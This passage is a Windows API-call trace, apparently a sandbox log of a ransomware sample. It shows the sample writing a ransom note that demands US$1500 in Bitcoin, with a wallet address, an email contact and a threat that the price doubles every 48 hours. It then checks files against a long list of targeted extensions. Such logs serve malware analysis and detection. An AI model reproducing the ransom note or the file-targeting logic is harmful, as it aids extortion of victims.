ftLastWriteTime.dwLowDateTime=0x4d219f10, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x79e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0111.254] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.254] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll") returned -1 [0111.254] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll") returned -1 [0111.254] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll") returned -1 [0111.255] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\*.*") returned="*.*" [0111.255] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\" [0111.255] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\") returned="" [0111.255] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\HOW TO DECRYPT FILES.txt" [0111.255] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\daa561280ac1119d9c2694442212aaea\\how to decrypt files.txt")) returned 0xffffffff [0111.255] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\daa561280ac1119d9c2694442212aaea\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.259] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0111.259] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.261] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.261] CloseHandle (hObject=0x90) returned 1 [0111.261] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\", lpString2="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll" [0111.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0111.261] lstrlenA (lpString="*.ems") returned 5 [0111.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.db") returned 0 [0111.261] lstrlenA (lpString="*.db") returned 4 [0111.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0111.261] lstrlenA (lpString="*.dbf") returned 5 [0111.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0111.261] lstrlenA (lpString="*.myox") returned 6 [0111.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0111.261] lstrlenA (lpString="*.myo") returned 5 [0111.261] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0111.262] lstrlenA (lpString="*.qbw") returned 5 [0111.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0111.262] lstrlenA (lpString="*.qbb") returned 5 [0111.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0111.262] lstrlenA (lpString="*.qbm") returned 5 [0111.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0111.262] lstrlenA (lpString="*.qbo") returned 5 [0111.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0111.262] lstrlenA (lpString="*.qbx") returned 5 [0111.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0111.262] lstrlenA (lpString="*.qba") returned 5 [0111.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0111.262] lstrlenA (lpString="*.qby") returned 5 [0111.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0111.262] lstrlenA (lpString="*.qbj") returned 5 [0111.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0111.262] lstrlenA (lpString="*.ofx") returned 5 [0111.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0111.262] lstrlenA (lpString="*.qif") returned 5 [0111.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0111.262] lstrlenA (lpString="*.mye") returned 5 [0111.262] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0111.262] lstrlenA (lpString="*.mbox") returned 6 [0111.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0111.263] lstrlenA (lpString="*.eml") returned 5 [0111.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0111.263] lstrlenA (lpString="*.pst") returned 5 [0111.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0111.263] lstrlenA (lpString="*.ost") returned 5 [0111.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0111.263] lstrlenA (lpString="*.idx") returned 5 [0111.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0111.263] lstrlenA (lpString="*.dbx") returned 5 [0111.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0111.263] lstrlenA (lpString="*.sql") returned 5 [0111.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0111.263] lstrlenA (lpString="*.mdb") returned 5 [0111.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0111.263] lstrlenA (lpString="*.fdb") returned 5 [0111.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0111.263] lstrlenA (lpString="*.wab") returned 5 [0111.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0111.263] lstrlenA (lpString="*.dat") returned 5 [0111.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0111.263] lstrlenA (lpString="*.txt") returned 5 [0111.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.jpeg") returned 0 [0111.263] lstrlenA (lpString="*.jpeg") returned 6 [0111.263] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0111.264] lstrlenA (lpString="*.jpg") returned 5 [0111.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.png") returned 0 [0111.264] lstrlenA (lpString="*.png") returned 5 [0111.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.php") returned 0 [0111.264] lstrlenA (lpString="*.php") returned 5 [0111.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0111.264] lstrlenA (lpString="*.cs") returned 4 [0111.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0111.264] lstrlenA (lpString="*.cpp") returned 5 [0111.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0111.264] lstrlenA (lpString="*.rar") returned 5 [0111.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0111.264] lstrlenA (lpString="*.zip") returned 5 [0111.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.html") returned 0 [0111.264] lstrlenA (lpString="*.html") returned 6 [0111.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0111.264] lstrlenA (lpString="*.htm") returned 5 [0111.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0111.264] lstrlenA (lpString="*.xlsx") returned 6 [0111.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0111.264] lstrlenA (lpString="*.xls") returned 5 [0111.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0111.264] lstrlenA (lpString="*.mp4") returned 5 [0111.264] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0111.264] lstrlenA (lpString="*.ppt") returned 5 [0111.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0111.265] lstrlenA (lpString="*.pptx") returned 6 [0111.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0111.265] lstrlenA (lpString="*.doc") returned 5 [0111.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0111.265] lstrlenA (lpString="*.dot") returned 5 [0111.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0111.265] lstrlenA (lpString="*.docx") returned 6 [0111.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0111.265] lstrlenA (lpString="*.7z") returned 4 [0111.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0111.265] lstrlenA (lpString="*.tar") returned 5 [0111.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0111.265] lstrlenA (lpString="*.bz2") returned 5 [0111.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0111.265] lstrlenA (lpString="*.gz") returned 4 [0111.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0111.265] lstrlenA (lpString="*.mkv") returned 5 [0111.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0111.265] lstrlenA (lpString="*.eml") returned 5 [0111.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0111.265] lstrlenA (lpString="*.msg") returned 5 [0111.265] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0111.265] lstrlenA (lpString="*.edb") returned 5 [0111.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0111.266] lstrlenA (lpString="*.accdb") returned 7 [0111.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0111.266] lstrlenA (lpString="*.odb") returned 5 [0111.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.java") returned 0 [0111.266] lstrlenA (lpString="*.java") returned 6 [0111.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0111.266] lstrlenA (lpString="*.asm") returned 5 [0111.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0111.266] lstrlenA (lpString="*.pfx") returned 5 [0111.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0111.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0111.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0111.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0111.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0111.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0111.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0111.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0111.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0111.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0111.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0111.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0111.267] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.lay6") returned 0 [0111.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0111.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0111.268] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\daa561280ac1119d9c2694442212aaea\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0111.268] 